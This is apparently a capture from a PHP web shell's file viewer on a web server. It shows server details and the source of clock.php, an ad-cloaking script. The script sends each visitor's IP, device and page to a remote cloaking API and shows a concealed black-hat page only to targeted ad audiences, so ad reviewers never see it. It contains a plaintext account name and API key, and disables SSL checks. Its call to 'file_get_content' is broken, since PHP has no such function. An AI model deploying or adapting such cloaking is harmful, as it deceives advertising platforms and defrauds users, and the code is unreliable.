HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: //www/wwwroot/dlz.xxlht.com/clock.php
<?php

$jsonData = array();
$jsonData['username'] = '17134502824'; // CLOAK账号
$jsonData['api_key'] = 'LtyBIICHZveuFSeHuzkGWYpGCZ4b3KbS'; // API秘钥
$jsonData['ads_country'] = 'US+CA'; // 广告国家, 2位代码用+号相连
$jsonData['ads_ban_agent'] = true; // 屏蔽代理
$jsonData['ads_ban_device'] = 'computer+tablet'; // 屏蔽设备,用加号相连,为空表示不屏蔽任何设备
$jsonData['ads_ip_whitelist'] = '192.168.0.1'; // IP白名单, 可以把自己的IP地址加入做测试
$jsonData['visitor_ip'] = getClientIp(); // 访客的IP地址
$jsonData['visitor_device'] = detectAgent(); // 访客打开网站的设备
$jsonData['visitor_site'] = $_SERVER['HTTP_HOST']; // 调用接口的网站
$jsonData['visitor_page'] = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; // 访客打开的具体页面

$ch = curl_init('https://www.*****.com/api/index.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($jsonData));	
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
	
$curl_return = curl_exec($ch);
if(curl_errno($ch)){
    echo 'Curl error: ' . curl_error($ch);
}	
curl_close($ch);

$api_return = json_decode($curl_return, true);
// var_dump($api_return); exit;
if($api_return['cloak_result']){ // cloak_result==1: 表示客户可以看到黑五页面
   $fp_show_url = "广告目标客户看到的黑五页面地址";
   $show_data = file_get_content($fp_show_url);
   echo $show_data;
   exit;
}

?>